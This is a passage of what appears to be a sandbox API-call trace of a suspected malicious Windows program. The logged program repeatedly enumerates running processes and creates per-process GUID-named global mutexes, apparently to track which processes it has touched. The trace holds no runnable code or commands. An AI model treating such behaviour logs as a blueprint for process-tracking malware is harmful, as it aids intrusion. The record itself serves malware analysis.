hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.801] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0110.802] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.803] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.803] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0110.804] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.805] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0110.806] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0110.806] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x13d8 [0110.806] GetLastError () returned 0xb7 [0110.806] CloseHandle (hObject=0x13d8) returned 1 [0110.806] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0110.807] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0110.807] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x13d8 [0110.807] GetLastError () returned 0xb7 [0110.807] CloseHandle (hObject=0x13d8) returned 1 [0110.807] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0110.808] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0110.809] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0110.809] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x13d8 [0110.809] GetLastError () returned 0x0 [0110.809] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0110.809] CloseHandle (hObject=0x13d8) returned 1 [0110.809] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0110.810] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0110.810] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x13d8 [0110.810] GetLastError () returned 0x0 [0110.810] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0110.810] CloseHandle (hObject=0x13d8) returned 1 [0110.810] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0110.811] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0110.811] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x13d8 [0110.811] GetLastError () returned 0xb7 [0110.811] CloseHandle (hObject=0x13d8) returned 1 [0110.811] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0110.812] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0110.812] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x13d8 [0110.812] GetLastError () returned 0x0 [0110.812] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0110.812] CloseHandle (hObject=0x13d8) returned 1 [0110.812] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectssayspotteryamplifier.exe")) returned 1 [0110.813] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="combinations-bits-tape.exe")) returned 1 [0110.814] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delicious_sale.exe")) returned 1 [0110.815] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="friendly.exe")) returned 1 [0110.816] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reveal-salaries-mandate.exe")) returned 1 [0110.817] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalogvidsmoreoverrail.exe")) returned 1 [0110.818] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="sri-gods.exe")) returned 1 [0110.819] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="wines-fix-hopefully-analyzed.exe")) returned 1 [0110.824] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="lovers_voices_chicks.exe")) returned 1 [0110.825] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cool rev connection ranger.exe")) returned 1 [0110.826] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psychiatrychip.exe")) returned 1 [0110.827] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delivers_launches_tagged_antique.exe")) returned 1 [0110.828] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pp availability.exe")) returned 1 [0110.829] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pdtdifficultrolandddr.exe")) returned 1 [0110.830] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="falls.exe")) returned 1 [0110.831] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="slightly dentists modified.exe")) returned 1 [0110.832] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="switchconventionspeppercovered.exe")) returned 1 [0110.835] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="statutes_slow_determines_ciao.exe")) returned 1 [0110.836] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp.exe")) returned 1 [0110.837] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="anonymous.exe")) returned 1 [0110.837] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="concept_nor_works_holder.exe")) returned 1 [0110.839] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="WINWORD.EXE")) returned 1 [0110.839] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.840] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0110.841] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.842] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0110.843] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0110.844] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0110.845] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0110.846] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0110.847] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.847] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0110.848] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0110.849] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x13d8 [0110.849] GetLastError () returned 0xb7 [0110.849] CloseHandle (hObject=0x13d8) returned 1 [0110.849] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 0 [0110.849] CloseHandle (hObject=0x13e0) returned 1 [0110.849] WaitForSingleObject (hHandle=0x67c, dwMilliseconds=0x64) returned 0x102 [0110.967] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x13e0 [0110.970] Process32FirstW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0110.971] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0110.971] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0110.972] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0110.973] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0110.974] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0110.975] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0110.976] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0110.977] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0110.977] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0110.978] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.979] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.980] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.981] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.982] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.983] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0110.983] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.984] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.985] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0110.986] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.987] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0110.988] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, 